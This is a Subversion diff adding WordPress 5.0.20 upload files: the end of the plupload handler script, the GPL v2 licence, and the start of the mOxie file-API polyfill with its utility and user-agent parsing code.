+
+	switch (errorCode) {
+		case plupload.FAILED:
+			wpFileError(fileObj, pluploadL10n.upload_failed);
+			break;
+		case plupload.FILE_EXTENSION_ERROR:
+			wpFileExtensionError( uploader, fileObj, pluploadL10n.invalid_filetype );
+			break;
+		case plupload.FILE_SIZE_ERROR:
+			uploadSizeError(uploader, fileObj);
+			break;
+		case plupload.IMAGE_FORMAT_ERROR:
+			wpFileError(fileObj, pluploadL10n.not_an_image);
+			break;
+		case plupload.IMAGE_MEMORY_ERROR:
+			wpFileError(fileObj, pluploadL10n.image_memory_exceeded);
+			break;
+		case plupload.IMAGE_DIMENSIONS_ERROR:
+			wpFileError(fileObj, pluploadL10n.image_dimensions_exceeded);
+			break;
+		case plupload.GENERIC_ERROR:
+			wpQueueError(pluploadL10n.upload_failed);
+			break;
+		case plupload.IO_ERROR:
+			max = parseInt( uploader.settings.filters.max_file_size, 10 );
+
+			if ( max > hundredmb && fileObj.size > hundredmb )
+				wpFileError( fileObj, pluploadL10n.big_upload_failed.replace('%1$s', '<a class="uploader-html" href="#">').replace('%2$s', '</a>') );
+			else
+				wpQueueError(pluploadL10n.io_error);
+			break;
+		case plupload.HTTP_ERROR:
+			wpQueueError(pluploadL10n.http_error);
+			break;
+		case plupload.INIT_ERROR:
+			jQuery('.media-upload-form').addClass('html-uploader');
+			break;
+		case plupload.SECURITY_ERROR:
+			wpQueueError(pluploadL10n.security_error);
+			break;
+/*		case plupload.UPLOAD_ERROR.UPLOAD_STOPPED:
+		case plupload.UPLOAD_ERROR.FILE_CANCELLED:
+			jQuery('#media-item-' + fileObj.id).remove();
+			break;*/
+		default:
+			wpFileError(fileObj, pluploadL10n.default_error);
+	}
+}
+
+function uploadSizeError( up, file ) {
+	var message, errorDiv;
+
+	message = pluploadL10n.file_exceeds_size_limit.replace('%s', file.name);
+
+	// Construct the error div.
+	errorDiv = jQuery( '<div />' )
+		.attr( {
+			'id':    'media-item-' + file.id,
+			'class': 'media-item error'
+		} )
+		.append(
+			jQuery( '<p />' )
+				.text( message )
+		);
+
+	// Append the error.
+	jQuery('#media-items').append( errorDiv );
+	up.removeFile(file);
+}
+
+function wpFileExtensionError( up, file, message ) {
+	jQuery('#media-items').append('<div id="media-item-' + file.id + '" class="media-item error"><p>' + message + '</p></div>');
+	up.removeFile(file);
+}
+
+jQuery(document).ready(function($){
+	$('.media-upload-form').bind('click.uploader', function(e) {
+		var target = $(e.target), tr, c;
+
+		if ( target.is('input[type="radio"]') ) { // remember the last used image size and alignment
+			tr = target.closest('tr');
+
+			if ( tr.hasClass('align') )
+				setUserSetting('align', target.val());
+			else if ( tr.hasClass('image-size') )
+				setUserSetting('imgsize', target.val());
+
+		} else if ( target.is('button.button') ) { // remember the last used image link url
+			c = e.target.className || '';
+			c = c.match(/url([^ '"]+)/);
+
+			if ( c && c[1] ) {
+				setUserSetting('urlbutton', c[1]);
+				target.siblings('.urlfield').val( target.data('link-url') );
+			}
+		} else if ( target.is('a.dismiss') ) {
+			target.parents('.media-item').fadeOut(200, function(){
+				$(this).remove();
+			});
+		} else if ( target.is('.upload-flash-bypass a') || target.is('a.uploader-html') ) { // switch uploader to html4
+			$('#media-items, p.submit, span.big-file-warning').css('display', 'none');
+			switchUploader(0);
+			e.preventDefault();
+		} else if ( target.is('.upload-html-bypass a') ) { // switch uploader to multi-file
+			$('#media-items, p.submit, span.big-file-warning').css('display', '');
+			switchUploader(1);
+			e.preventDefault();
+		} else if ( target.is('a.describe-toggle-on') ) { // Show
+			target.parent().addClass('open');
+			target.siblings('.slidetoggle').fadeIn(250, function(){
+				var S = $(window).scrollTop(), H = $(window).height(), top = $(this).offset().top, h = $(this).height(), b, B;
+
+				if ( H && top && h ) {
+					b = top + h;
+					B = S + H;
+
+					if ( b > B ) {
+						if ( b - B < top - S )
+							window.scrollBy(0, (b - B) + 10);
+						else
+							window.scrollBy(0, top - S - 40);
+					}
+				}
+			});
+			e.preventDefault();
+		} else if ( target.is('a.describe-toggle-off') ) { // Hide
+			target.siblings('.slidetoggle').fadeOut(250, function(){
+				target.parent().removeClass('open');
+			});
+			e.preventDefault();
+		}
+	});
+
+	// init and set the uploader
+	uploader_init = function() {
+		var isIE = navigator.userAgent.indexOf('Trident/') != -1 || navigator.userAgent.indexOf('MSIE ') != -1;
+
+		// Make sure flash sends cookies (seems in IE it does whitout switching to urlstream mode)
+		if ( ! isIE && 'flash' === plupload.predictRuntime( wpUploaderInit ) &&
+			( ! wpUploaderInit.required_features || ! wpUploaderInit.required_features.hasOwnProperty( 'send_binary_string' ) ) ) {
+
+			wpUploaderInit.required_features = wpUploaderInit.required_features || {};
+			wpUploaderInit.required_features.send_binary_string = true;
+		}
+
+		uploader = new plupload.Uploader(wpUploaderInit);
+
+		$('#image_resize').bind('change', function() {
+			var arg = $(this).prop('checked');
+
+			setResize( arg );
+
+			if ( arg )
+				setUserSetting('upload_resize', '1');
+			else
+				deleteUserSetting('upload_resize');
+		});
+
+		uploader.bind('Init', function(up) {
+			var uploaddiv = $('#plupload-upload-ui');
+
+			setResize( getUserSetting('upload_resize', false) );
+
+			if ( up.features.dragdrop && ! $(document.body).hasClass('mobile') ) {
+				uploaddiv.addClass('drag-drop');
+				$('#drag-drop-area').on('dragover.wp-uploader', function(){ // dragenter doesn't fire right :(
+					uploaddiv.addClass('drag-over');
+				}).on('dragleave.wp-uploader, drop.wp-uploader', function(){
+					uploaddiv.removeClass('drag-over');
+				});
+			} else {
+				uploaddiv.removeClass('drag-drop');
+				$('#drag-drop-area').off('.wp-uploader');
+			}
+
+			if ( up.runtime === 'html4' ) {
+				$('.upload-flash-bypass').hide();
+			}
+		});
+
+		uploader.bind( 'postinit', function( up ) {
+			up.refresh();
+		});
+
+		uploader.init();
+
+		uploader.bind('FilesAdded', function( up, files ) {
+			$('#media-upload-error').empty();
+			uploadStart();
+
+			plupload.each( files, function( file ) {
+				fileQueued( file );
+			});
+
+			up.refresh();
+			up.start();
+		});
+
+		uploader.bind('UploadFile', function(up, file) {
+			fileUploading(up, file);
+		});
+
+		uploader.bind('UploadProgress', function(up, file) {
+			uploadProgress(up, file);
+		});
+
+		uploader.bind('Error', function(up, err) {
+			uploadError(err.file, err.code, err.message, up);
+			up.refresh();
+		});
+
+		uploader.bind('FileUploaded', function(up, file, response) {
+			uploadSuccess(file, response.response);
+		});
+
+		uploader.bind('UploadComplete', function() {
+			uploadComplete();
+		});
+	};
+
+	if ( typeof(wpUploaderInit) == 'object' ) {
+		uploader_init();
+	}
+
+});
Index: /tags/5.0.20/src/wp-includes/js/plupload/license.txt
===================================================================
--- /tags/5.0.20/src/wp-includes/js/plupload/license.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/plupload/license.txt	(revision 56912)
@@ -0,0 +1,339 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
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+
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+patents.  We wish to avoid the danger that redistributors of a free
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+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
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+
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+
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+
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+
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+
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+
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+
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+
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+
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+distribution of the source code, even though third parties are not
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+
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+
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+prohibited by law if you do not accept this License.  Therefore, by
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+
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+
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+infringement or for any other reason (not limited to patent issues),
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+
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+
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+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
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+later version", you have the option of following the terms and conditions
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+Foundation.
+
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+
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+
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+
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+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+	    How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
Index: /tags/5.0.20/src/wp-includes/js/plupload/moxie.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/plupload/moxie.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/plupload/moxie.js	(revision 56912)
@@ -0,0 +1,9901 @@
+;var MXI_DEBUG = false;
+/**
+ * mOxie - multi-runtime File API & XMLHttpRequest L2 Polyfill
+ * v1.3.5
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ *
+ * Date: 2016-05-15
+ */
+/**
+ * Compiled inline version. (Library mode)
+ */
+
+/**
+ * Modified for WordPress, Silverlight and Flash runtimes support was removed.
+ * See https://core.trac.wordpress.org/ticket/41755.
+ */
+
+/*jshint smarttabs:true, undef:true, latedef:true, curly:true, bitwise:true, camelcase:true */
+/*globals $code */
+
+(function(exports, undefined) {
+	"use strict";
+
+	var modules = {};
+
+	function require(ids, callback) {
+		var module, defs = [];
+
+		for (var i = 0; i < ids.length; ++i) {
+			module = modules[ids[i]] || resolve(ids[i]);
+			if (!module) {
+				throw 'module definition dependecy not found: ' + ids[i];
+			}
+
+			defs.push(module);
+		}
+
+		callback.apply(null, defs);
+	}
+
+	function define(id, dependencies, definition) {
+		if (typeof id !== 'string') {
+			throw 'invalid module definition, module id must be defined and be a string';
+		}
+
+		if (dependencies === undefined) {
+			throw 'invalid module definition, dependencies must be specified';
+		}
+
+		if (definition === undefined) {
+			throw 'invalid module definition, definition function must be specified';
+		}
+
+		require(dependencies, function() {
+			modules[id] = definition.apply(null, arguments);
+		});
+	}
+
+	function defined(id) {
+		return !!modules[id];
+	}
+
+	function resolve(id) {
+		var target = exports;
+		var fragments = id.split(/[.\/]/);
+
+		for (var fi = 0; fi < fragments.length; ++fi) {
+			if (!target[fragments[fi]]) {
+				return;
+			}
+
+			target = target[fragments[fi]];
+		}
+
+		return target;
+	}
+
+	function expose(ids) {
+		for (var i = 0; i < ids.length; i++) {
+			var target = exports;
+			var id = ids[i];
+			var fragments = id.split(/[.\/]/);
+
+			for (var fi = 0; fi < fragments.length - 1; ++fi) {
+				if (target[fragments[fi]] === undefined) {
+					target[fragments[fi]] = {};
+				}
+
+				target = target[fragments[fi]];
+			}
+
+			target[fragments[fragments.length - 1]] = modules[id];
+		}
+	}
+
+// Included from: src/javascript/core/utils/Basic.js
+
+/**
+ * Basic.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/core/utils/Basic', [], function() {
+	/**
+	Gets the true type of the built-in object (better version of typeof).
+	@author Angus Croll (http://javascriptweblog.wordpress.com/)
+
+	@method typeOf
+	@for Utils
+	@static
+	@param {Object} o Object to check.
+	@return {String} Object [[Class]]
+	*/
+	var typeOf = function(o) {
+		var undef;
+
+		if (o === undef) {
+			return 'undefined';
+		} else if (o === null) {
+			return 'null';
+		} else if (o.nodeType) {
+			return 'node';
+		}
+
+		// the snippet below is awesome, however it fails to detect null, undefined and arguments types in IE lte 8
+		return ({}).toString.call(o).match(/\s([a-z|A-Z]+)/)[1].toLowerCase();
+	};
+		
+	/**
+	Extends the specified object with another object.
+
+	@method extend
+	@static
+	@param {Object} target Object to extend.
+	@param {Object} [obj]* Multiple objects to extend with.
+	@return {Object} Same as target, the extended object.
+	*/
+	var extend = function(target) {
+		var undef;
+
+		each(arguments, function(arg, i) {
+			if (i > 0) {
+				each(arg, function(value, key) {
+					if (value !== undef) {
+						if (typeOf(target[key]) === typeOf(value) && !!~inArray(typeOf(value), ['array', 'object'])) {
+							extend(target[key], value);
+						} else {
+							target[key] = value;
+						}
+					}
+				});
+			}
+		});
+		return target;
+	};
+		
+	/**
+	Executes the callback function for each item in array/object. If you return false in the
+	callback it will break the loop.
+
+	@method each
+	@static
+	@param {Object} obj Object to iterate.
+	@param {function} callback Callback function to execute for each item.
+	*/
+	var each = function(obj, callback) {
+		var length, key, i, undef;
+
+		if (obj) {
+			if (typeOf(obj.length) === 'number') { // it might be Array, FileList or even arguments object
+				// Loop array items
+				for (i = 0, length = obj.length; i < length; i++) {
+					if (callback(obj[i], i) === false) {
+						return;
+					}
+				}
+			} else if (typeOf(obj) === 'object') {
+				// Loop object items
+				for (key in obj) {
+					if (obj.hasOwnProperty(key)) {
+						if (callback(obj[key], key) === false) {
+							return;
+						}
+					}
+				}
+			}
+		}
+	};
+
+	/**
+	Checks if object is empty.
+	
+	@method isEmptyObj
+	@static
+	@param {Object} o Object to check.
+	@return {Boolean}
+	*/
+	var isEmptyObj = function(obj) {
+		var prop;
+
+		if (!obj || typeOf(obj) !== 'object') {
+			return true;
+		}
+
+		for (prop in obj) {
+			return false;
+		}
+
+		return true;
+	};
+
+	/**
+	Recieve an array of functions (usually async) to call in sequence, each  function
+	receives a callback as first argument that it should call, when it completes. Finally,
+	after everything is complete, main callback is called. Passing truthy value to the
+	callback as a first argument will interrupt the sequence and invoke main callback
+	immediately.
+
+	@method inSeries
+	@static
+	@param {Array} queue Array of functions to call in sequence
+	@param {Function} cb Main callback that is called in the end, or in case of error
+	*/
+	var inSeries = function(queue, cb) {
+		var i = 0, length = queue.length;
+
+		if (typeOf(cb) !== 'function') {
+			cb = function() {};
+		}
+
+		if (!queue || !queue.length) {
+			cb();
+		}
+
+		function callNext(i) {
+			if (typeOf(queue[i]) === 'function') {
+				queue[i](function(error) {
+					/*jshint expr:true */
+					++i < length && !error ? callNext(i) : cb(error);
+				});
+			}
+		}
+		callNext(i);
+	};
+
+
+	/**
+	Recieve an array of functions (usually async) to call in parallel, each  function
+	receives a callback as first argument that it should call, when it completes. After 
+	everything is complete, main callback is called. Passing truthy value to the
+	callback as a first argument will interrupt the process and invoke main callback
+	immediately.
+
+	@method inParallel
+	@static
+	@param {Array} queue Array of functions to call in sequence
+	@param {Function} cb Main callback that is called in the end, or in case of error
+	*/
+	var inParallel = function(queue, cb) {
+		var count = 0, num = queue.length, cbArgs = new Array(num);
+
+		each(queue, function(fn, i) {
+			fn(function(error) {
+				if (error) {
+					return cb(error);
+				}
+				
+				var args = [].slice.call(arguments);
+				args.shift(); // strip error - undefined or not
+
+				cbArgs[i] = args;
+				count++;
+
+				if (count === num) {
+					cbArgs.unshift(null);
+					cb.apply(this, cbArgs);
+				} 
+			});
+		});
+	};
+	
+	
+	/**
+	Find an element in array and return it's index if present, otherwise return -1.
+	
+	@method inArray
+	@static
+	@param {Mixed} needle Element to find
+	@param {Array} array
+	@return {Int} Index of the element, or -1 if not found
+	*/
+	var inArray = function(needle, array) {
+		if (array) {
+			if (Array.prototype.indexOf) {
+				return Array.prototype.indexOf.call(array, needle);
+			}
+		
+			for (var i = 0, length = array.length; i < length; i++) {
+				if (array[i] === needle) {
+					return i;
+				}
+			}
+		}
+		return -1;
+	};
+
+
+	/**
+	Returns elements of first array if they are not present in second. And false - otherwise.
+
+	@private
+	@method arrayDiff
+	@param {Array} needles
+	@param {Array} array
+	@return {Array|Boolean}
+	*/
+	var arrayDiff = function(needles, array) {
+		var diff = [];
+
+		if (typeOf(needles) !== 'array') {
+			needles = [needles];
+		}
+
+		if (typeOf(array) !== 'array') {
+			array = [array];
+		}
+
+		for (var i in needles) {
+			if (inArray(needles[i], array) === -1) {
+				diff.push(needles[i]);
+			}	
+		}
+		return diff.length ? diff : false;
+	};
+
+
+	/**
+	Find intersection of two arrays.
+
+	@private
+	@method arrayIntersect
+	@param {Array} array1
+	@param {Array} array2
+	@return {Array} Intersection of two arrays or null if there is none
+	*/
+	var arrayIntersect = function(array1, array2) {
+		var result = [];
+		each(array1, function(item) {
+			if (inArray(item, array2) !== -1) {
+				result.push(item);
+			}
+		});
+		return result.length ? result : null;
+	};
+	
+	
+	/**
+	Forces anything into an array.
+	
+	@method toArray
+	@static
+	@param {Object} obj Object with length field.
+	@return {Array} Array object containing all items.
+	*/
+	var toArray = function(obj) {
+		var i, arr = [];
+
+		for (i = 0; i < obj.length; i++) {
+			arr[i] = obj[i];
+		}
+
+		return arr;
+	};
+	
+			
+	/**
+	Generates an unique ID. The only way a user would be able to get the same ID is if the two persons
+	at the same exact millisecond manage to get the same 5 random numbers between 0-65535; it also uses 
+	a counter so each ID is guaranteed to be unique for the given page. It is more probable for the earth 
+	to be hit with an asteroid.
+	
+	@method guid
+	@static
+	@param {String} prefix to prepend (by default 'o' will be prepended).
+	@method guid
+	@return {String} Virtually unique id.
+	*/
+	var guid = (function() {
+		var counter = 0;
+		
+		return function(prefix) {
+			var guid = new Date().getTime().toString(32), i;
+
+			for (i = 0; i < 5; i++) {
+				guid += Math.floor(Math.random() * 65535).toString(32);
+			}
+			
+			return (prefix || 'o_') + guid + (counter++).toString(32);
+		};
+	}());
+	
+
+	/**
+	Trims white spaces around the string
+	
+	@method trim
+	@static
+	@param {String} str
+	@return {String}
+	*/
+	var trim = function(str) {
+		if (!str) {
+			return str;
+		}
+		return String.prototype.trim ? String.prototype.trim.call(str) : str.toString().replace(/^\s*/, '').replace(/\s*$/, '');
+	};
+
+
+	/**
+	Parses the specified size string into a byte value. For example 10kb becomes 10240.
+	
+	@method parseSizeStr
+	@static
+	@param {String/Number} size String to parse or number to just pass through.
+	@return {Number} Size in bytes.
+	*/
+	var parseSizeStr = function(size) {
+		if (typeof(size) !== 'string') {
+			return size;
+		}
+		
+		var muls = {
+				t: 1099511627776,
+				g: 1073741824,
+				m: 1048576,
+				k: 1024
+			},
+			mul;
+
+
+		size = /^([0-9\.]+)([tmgk]?)$/.exec(size.toLowerCase().replace(/[^0-9\.tmkg]/g, ''));
+		mul = size[2];
+		size = +size[1];
+		
+		if (muls.hasOwnProperty(mul)) {
+			size *= muls[mul];
+		}
+		return Math.floor(size);
+	};
+
+
+	/**
+	 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
+	 *
+	 * @param {String} str String with tokens
+	 * @return {String} String with replaced tokens
+	 */
+	var sprintf = function(str) {
+		var args = [].slice.call(arguments, 1);
+
+		return str.replace(/%[a-z]/g, function() {
+			var value = args.shift();
+			return typeOf(value) !== 'undefined' ? value : '';
+		});
+	};
+	
+
+	return {
+		guid: guid,
+		typeOf: typeOf,
+		extend: extend,
+		each: each,
+		isEmptyObj: isEmptyObj,
+		inSeries: inSeries,
+		inParallel: inParallel,
+		inArray: inArray,
+		arrayDiff: arrayDiff,
+		arrayIntersect: arrayIntersect,
+		toArray: toArray,
+		trim: trim,
+		sprintf: sprintf,
+		parseSizeStr: parseSizeStr
+	};
+});
+
+// Included from: src/javascript/core/utils/Env.js
+
+/**
+ * Env.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define("moxie/core/utils/Env", [
+	"moxie/core/utils/Basic"
+], function(Basic) {
+	
+	/**
+	 * UAParser.js v0.7.7
+	 * Lightweight JavaScript-based User-Agent string parser
+	 * https://github.com/faisalman/ua-parser-js
+	 *
+	 * Copyright © 2012-2015 Faisal Salman <fyzlman@gmail.com>
+	 * Dual licensed under GPLv2 & MIT
+	 */
+	var UAParser = (function (undefined) {
+
+	    //////////////
+	    // Constants
+	    /////////////
+
+
+	    var EMPTY       = '',
+	        UNKNOWN     = '?',
+	        FUNC_TYPE   = 'function',
+	        UNDEF_TYPE  = 'undefined',
+	        OBJ_TYPE    = 'object',
+	        MAJOR       = 'major',
+	        MODEL       = 'model',
+	        NAME        = 'name',
+	        TYPE        = 'type',
+	        VENDOR      = 'vendor',
+	        VERSION     = 'version',
+	        ARCHITECTURE= 'architecture',
+	        CONSOLE     = 'console',
+	        MOBILE      = 'mobile',
+	        TABLET      = 'tablet';
+
+
+	    ///////////
+	    // Helper
+	    //////////
+
+
+	    var util = {
+	        has : function (str1, str2) {
+	            return str2.toLowerCase().indexOf(str1.toLowerCase()) !== -1;
+	        },
+	        lowerize : function (str) {
+	            return str.toLowerCase();
+	        }
+	    };
+
+
+	    ///////////////
+	    // Map helper
+	    //////////////
+
+
+	    var mapper = {
+
+	        rgx : function () {
+
+	            // loop through all regexes maps
+	            for (var result, i = 0, j, k, p, q, matches, match, args = arguments; i < args.length; i += 2) {
+
+	                var regex = args[i],       // even sequence (0,2,4,..)
+	                    props = args[i + 1];   // odd sequence (1,3,5,..)
+
+	                // construct object barebones
+	                if (typeof(result) === UNDEF_TYPE) {
+	                    result = {};
+	                    for (p in props) {
+	                        q = props[p];
+	                        if (typeof(q) === OBJ_TYPE) {
+	                            result[q[0]] = undefined;
+	                        } else {
+	                            result[q] = undefined;
+	                        }
+	                    }
+	                }
+
+	                // try matching uastring with regexes
+	                for (j = k = 0; j < regex.length; j++) {
+	                    matches = regex[j].exec(this.getUA());
+	                    if (!!matches) {
+	                        for (p = 0; p < props.length; p++) {
+	                            match = matches[++k];
+	                            q = props[p];
+	                            // check if given property is actually array
+	                            if (typeof(q) === OBJ_TYPE && q.length > 0) {
+	                                if (q.length == 2) {
+	                                    if (typeof(q[1]) == FUNC_TYPE) {
+	                                        // assign modified match
+	                                        result[q[0]] = q[1].call(this, match);
+	                                    } else {
+	                                        // assign given value, ignore regex match
+	                                        result[q[0]] = q[1];
+	                                    }
+	                                } else if (q.length == 3) {
+	                                    // check whether function or regex
+	                                    if (typeof(q[1]) === FUNC_TYPE && !(q[1].exec && q[1].test)) {
+	                                        // call function (usually string mapper)
+	                                        result[q[0]] = match ? q[1].call(this, match, q[2]) : undefined;
+	                                    } else {
+	                                        // sanitize match using given regex
+	                                        result[q[0]] = match ? match.replace(q[1], q[2]) : undefined;
+	                                    }
+	                                } else if (q.length == 4) {
+	                                        result[q[0]] = match ? q[3].call(this, match.replace(q[1], q[2])) : undefined;
+	                                }
+	                            } else {
+	                                result[q] = match ? match : undefined;
+	                            }
+	                        }
+	                        break;
+	                    }
+	                }
+
+	                if(!!matches) break; // break the loop immediately if match found
+	            }
+	            return result;
+	        },
+
+	        str : function (str, map) {
+
+	            for (var i in map) {
+	                // check if array
+	                if (typeof(map[i]) === OBJ_TYPE && map[i].length > 0) {
+	                    for (var j = 0; j < map[i].length; j++) {
+	                        if (util.has(map[i][j], str)) {
+	                            return (i === UNKNOWN) ? undefined : i;
+	                        }
+	                    }
+	                } else if (util.has(map[i], str)) {
+	                    return (i === UNKNOWN) ? undefined : i;
+	                }
+	            }
+	            return str;
+	        }
+	    };
+
+
+	    ///////////////
+	    // String map
+	    //////////////
+
+
+	    var maps = {
+
+	        browser : {
+	            oldsafari : {
+	                major : {
+	                    '1' : ['/8', '/1', '/3'],
+	                    '2' : '/4',
+	                    '?' : '/'
+	                },
+	                version : {
+	                    '1.0'   : '/8',
+	                    '1.2'   : '/1',
+	                    '1.3'   : '/3',
+	                    '2.0'   : '/412',
+	                    '2.0.2' : '/416',
+	                    '2.0.3' : '/417',
+	                    '2.0.4' : '/419',
+	                    '?'     : '/'
+	                }
+	            }
+	        },
+
+	        device : {
+	            sprint : {
+	                model : {
+	                    'Evo Shift 4G' : '7373KT'
+	                },
+	                vendor : {
+	                    'HTC'       : 'APA',
+	                    'Sprint'    : 'Sprint'
+	                }
+	            }
+	        },
+
+	        os : {
+	            windows : {
+	                version : {
+	                    'ME'        : '4.90',
+	                    'NT 3.11'   : 'NT3.51',
+	                    'NT 4.0'    : 'NT4.0',
+	                    '2000'      : 'NT 5.0',
+	                    'XP'        : ['NT 5.1', 'NT 5.2'],
+	                    'Vista'     : 'NT 6.0',
+	                    '7'         : 'NT 6.1',
+	                    '8'         : 'NT 6.2',
+	                    '8.1'       : 'NT 6.3',
+	                    'RT'        : 'ARM'
+	                }
+	            }
+	        }
+	    };
+
+
+	    //////////////
+	    // Regex map
+	    /////////////
+
+
+	    var regexes = {
+
+	        browser : [[
+	        
+	            // Presto based
+	            /(opera\smini)\/([\w\.-]+)/i,                                       // Opera Mini
+	            /(opera\s[mobiletab]+).+version\/([\w\.-]+)/i,                      // Opera Mobi/Tablet
+	            /(opera).+version\/([\w\.]+)/i,                                     // Opera > 9.80
+	            /(opera)[\/\s]+([\w\.]+)/i                                          // Opera < 9.80
+
+	            ], [NAME, VERSION], [
+
+	            /\s(opr)\/([\w\.]+)/i                                               // Opera Webkit
+	            ], [[NAME, 'Opera'], VERSION], [
+
+	            // Mixed
+	            /(kindle)\/([\w\.]+)/i,                                             // Kindle
+	            /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,
+	                                                                                // Lunascape/Maxthon/Netfront/Jasmine/Blazer
+
+	            // Trident based
+	            /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,
+	                                                                                // Avant/IEMobile/SlimBrowser/Baidu
+	            /(?:ms|\()(ie)\s([\w\.]+)/i,                                        // Internet Explorer
+
+	            // Webkit/KHTML based
+	            /(rekonq)\/([\w\.]+)*/i,                                            // Rekonq
+	            /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i
+	                                                                                // Chromium/Flock/RockMelt/Midori/Epiphany/Silk/Skyfire/Bolt/Iron
+	            ], [NAME, VERSION], [
+
+	            /(trident).+rv[:\s]([\w\.]+).+like\sgecko/i                         // IE11
+	            ], [[NAME, 'IE'], VERSION], [
+
+	            /(edge)\/((\d+)?[\w\.]+)/i                                          // Microsoft Edge
+	            ], [NAME, VERSION], [
+
+	            /(yabrowser)\/([\w\.]+)/i                                           // Yandex
+	            ], [[NAME, 'Yandex'], VERSION], [
+
+	            /(comodo_dragon)\/([\w\.]+)/i                                       // Comodo Dragon
+	            ], [[NAME, /_/g, ' '], VERSION], [
+
